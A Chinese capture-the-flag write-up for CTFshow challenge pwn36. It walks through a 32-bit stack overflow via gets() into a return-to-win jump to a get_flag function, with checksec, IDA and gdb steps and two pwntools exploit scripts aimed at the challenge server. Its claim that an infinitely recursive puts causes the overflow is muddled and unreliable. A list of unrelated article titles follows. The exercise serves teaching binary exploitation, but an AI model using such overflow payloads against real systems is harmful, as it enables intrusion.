CTFshow-PWN-栈溢出(pwn36)

存在后门函数,如何利用?

好好好,终于到了这种有后门函数的了

checksec 检查一下:

32 位程序,RELRO 保护部分开启

RWX:      Has RWX segments

存在可读可写可执行的段 

使用 ida32 看 main 函数

跟进 ctfshow 函数:

声明了一个长度为 36 字节的字符数组 s,调用 gets 函数,并将 s 数组作为参数传递给它,然后将 gets 函数的返回值作为 ctfshow 函数的返回值。

这里 s 数组存在栈溢出的可能,具体看后面的分析,

我们先记录造成栈溢出的函数的地址到 ebp 的距离:

这里是 28h,也就是 0x28,对于 32 位程序,我们 payload 还需要加 4 。

(根据程序是 32 位还是 64 位,对应加上 4 或 8 个字节的 ebp(栈底))

我们再来看一下 puts 函数:

这个特定的 puts 函数定义中,函数体内部再次调用了 puts 函数,并且传递了相同的参数 s。

存在问题:

每次调用 puts 函数时,它都会再次进入函数体内,然后又调用 puts 函数,这样就形成了无限递归调用。每次递归调用都会在栈上分配一些内存空间来存储函数的局部变量、参数和返回地址。由于这个递归没有终止条件,栈空间会被无限地占用,最终导致栈溢出。

栈溢出条件存在,那么接下来我们找可利用函数,

这里我们找到了一个 get_flag() 函数:

打开名为 "/ctfshow_flag" 的文件,从中读取内容,然后将内容输出到标准输出(就是输出 flag)

shift+F12并没有直接看到 get_flag() 函数

搜索一下:

发现 get_flag 函数的地址:0x8048586

也可以使用其他工具获取 get_flag() 函数的地址:

gdb ./pwn

gdb 是一个用于调试程序的工具,启动 gdb 并加载程序以供调试

disass get_flag

disass 是 GDB 的指令,这里是反汇编名为 get_flag 的函数

同样找到 get_flag 函数的地址:0x8048586,与前面 ida 看到的一样

最后就是编写 exp 了:

这种是手动构造填充部分,然后指定目标地址的方法

from pwn import *
p = remote('pwn.challenge.ctf.show', 28250)
payload = b'a'*(0x28+4) + p32(0x8048586)
p.sendline(payload)
p.interactive()

当然也可以使用 pwntools 库中的 cyclic 函数来生成填充部分:

cyclic 函数会生成一个特定长度的字符串,其中包含了重复的字符序列

from pwn import *
context.log_level = 'debug'
# p = process('./pwn')
p = remote('pwn.challenge.ctf.show', 28250)
# p.recv()
payload = cyclic(0x28+4) + p32(0x8048586)
p.sendline(payload)
p.interactive()

使用 python 运行我们的 exp 即可拿到 flag

ctfshow{9f91cd56-6118-46c2-b05d-df0ac9996aa6} 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/577752.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C++系列-命名空间

🌈个人主页:羽晨同学 💫个人格言:“成为自己未来的主人~” 命名空间 在C/C中,变量,函数和后面要学到的类都是大量存在的,这些变量,函数和类的名称都存在于全局作用域中,可能会导…

电机入门1

文章目录 122.12.22.3 33.13.23.33.4 1 2 2.1 电机板 驱动板电机分类 驱动器分类 转速 转向扭矩定时器 ADC 2.2 PID 自动控制 的核心闭环控制算是 PID的应用 2.3 无刷电机用的 可大大提高其控制效率 和控制精度 3 开发板的IO 电流太小了 20~25ma 电机要A 驱动板 信号放大没舵…

Linux防火墙相关命令以及ip白名单配置

Linux防火墙相关命令以及ip白名单配置 firewall防火墙基础命令查看防火墙的服务状态查看防火墙的状态服务的开启、关闭和重启查看防火墙规则端口的查询、开放和关闭重启防火墙 防火墙白名单配置部分参数介绍 firewall防火墙基础命令 查看防火墙的服务状态 systemctl status f…

乘数而上,创邻科技入选2024数商典型应用场景“乘数榜”

4月18日,由浙江省科学技术协会指导的2024未来数商大会在杭州成功举办。本次大会以“场景突破 乘数而上”为主题,国际国内数商共聚未来科技城学术交流中心,聚焦数据要素市场的制度创新、数据治理、场景应用与生态构建等话题展开研讨。 大会现…

C++入门基础(一)

目录 C关键字命名空间命名冲突例子域的概念理解命名空间定义例子1例子2例子3例子4例子5例子6例子7 C输出与输入输出输入 感谢各位大佬对我的支持,如果我的文章对你有用,欢迎点击以下链接 🐒🐒🐒 个人主页 🥸🥸&#x…

汽车底盘域的学习笔记

前言:底盘域分为传统车型底盘域和新能源车型底盘域(新能源系统又可以分为纯电和混动车型,有时间可以再研究一下) 1:传统车型底盘域 细分的话可以分为四个子系统 传动系统 行驶系统 转向系统 制动系统 1.1传动系…

计算机体系结构:向量体系结构介绍

向量体系结构介绍 什么是向量? 在计算机体系结构,"向量"(vector)是指一个由多个相同类型且逻辑上相关的数据元素组成的有序集合。这些元素可以是整数、浮点数、布尔值或其他数据类型,它们在内存中连续存储…

SpringSecurity + Oauth2 + jwt实现单点登录

文章目录 前言一、springsecurity oauth2 redis方式的缺点二、oauth2认证的4种模式的选择三、认证服务器的编写 第一步、创建WebSecurity配置类第二步、创建jwt仓库配置类第三步、创建UserDetailsService类第四步、创建认证服务器配置类 四、测试认证服务器的功能 1.创建Login…

墨水屏技术在工业智能化领域的创新应用

墨水屏技术在工业智能化领域的创新应用 随着科技的快速发展,各种显示技术层出不穷,其中墨水屏作为一种独特的显示技术,逐渐在工业领域展现出其独特的优势和价值。墨水屏以其低功耗、高对比度和阅读舒适度高等特点,正成为工业应用…

uniapp-css多颜色渐变:左右+上下

案例展示 案例代码&#xff1a; 代码灵感&#xff1a;使用伪类进行处理 <view class"headBox"></view>.headBox {height: 200rpx;background: linear-gradient(to right, #D3D5F0, #F0DCF3, #F7F6FB, #DAE8F2, #E1D3EE);position: relative; }.headBox…

【C++】哈希思想

目录 哈希介绍&#xff1a; 一&#xff0c;位图 1-1&#xff0c;位图的认识 1-2&#xff0c;位图的简单实现 1-3&#xff0c;位图的应用 二&#xff0c;布隆过滤器 2-1&#xff0c;布隆过滤器的认识 2-2&#xff0c;布隆过滤器的简单实现 2-3&#xff0c;布隆过滤器的…

3d设计网站有哪些(1)?渲染100邀请码1a12

做3d设计需要各类资源&#xff0c;比如模型、材质、贴图等&#xff0c;如果这些都要自己做会非常麻烦&#xff0c;所幸现在有网站可以下载&#xff0c;有的免费有的收费&#xff0c;这篇文章我就先分享几个给有需要的朋友看看吧。 1、Pikbest Pikbest成立于2018年7月12日&…

万辰集团如何破局“增收不增利”的困境?

在波澜不惊的食用菌加工行业&#xff0c;万辰集团&#xff08;300972.SZ&#xff09;曾是一名平凡的参与者。2021年战略转型的号角吹响&#xff0c;万辰集团挥别了传统业务&#xff0c;转而投身于快速增长的量贩零食市场&#xff0c;并迅速扩张到成为这一领域的重要玩家。万辰的…

TDSQL手动调整备份节点或冷备节点

一、背景描述 近期TDSQL数据库备份不稳定&#xff0c;有些set实例的备份任务未自动发起。经排查分析&#xff0c;存在多个set实例容量已经超过TB级别&#xff0c;且冷备节点都是同一台。因此&#xff0c;需要手动将当前备份节点改到其他备节点&#xff0c;开启增量备份&#x…

C语言笔试题之重排链表

重排链表 实例要求 1、给定一个单链表 L 的头节点 head &#xff0c;单链表 L 表示为&#xff1a; L0 → L1 → … → Ln - 1 → Ln2、请将其重新排列后变为&#xff1a; L0 → Ln → L1 → Ln - 1 → L2 → Ln - 2 → …3、不能只是单纯的改变节点内部的值&#xff0c;而是…

高级STM32应用开发:使用HAL库和RTOS

引言 STM32系列微控制器以其高性能、丰富的外设支持和低功耗特性&#xff0c;在工业、汽车及消费电子市场中占有显著地位。 下面我们旨在探讨STM32的高级开发技术&#xff0c;包括硬件抽象层&#xff08;HAL&#xff09;库的使用和实时操作系统&#xff08;RTOS&#xff09;的…

python批量删除文件

python批量删除文件 1、查询与删除2、添加模块到地址中3、批量删除多个路径中不需要导出的文件 1、查询与删除 mport osdef get_files_in_folder(folder_path):files []for file in os.listdir(folder_path):if os.path.isfile(os.path.join(folder_path, file)):files.appen…

Kafka 生产者应用解析

目录 1、生产者消息发送流程 1.1、发送原理 2、异步发送 API 2.1、普通异步发送 2.2、带回调函数的异步发送 3、同步发送 API 4、生产者分区 4.1、分区的优势 4.2、生产者发送消息的分区策略 示例1&#xff1a;将数据发往指定 partition 示例2&#xff1a;有 key 的…

大数据—数仓分层概论

数据仓库&#xff08;Data Warehouse&#xff09;是一个用于集成和存储大量数据的系统&#xff0c;旨在支持企业的决策制定过程。它是一个面向主题的、集成的、非易失的数据集合&#xff0c;用于支持管理决策制定过程。数据仓库的发展源于企业对数据分析和决策支持的需求&#…

tcp服务器端与多个客户端连接

如果希望Tcp服务器端可以与多个客户端连接&#xff0c;可以这样写&#xff1a; tcpServernew QTcpServer(this);connect(tcpServer,SIGNAL(newConnection()),this,SLOT(onNewConnection())); void MainWindow::onNewConnection() {QTcpSocket *tcpSocket;//TCP通讯的Sockettcp…
最新文章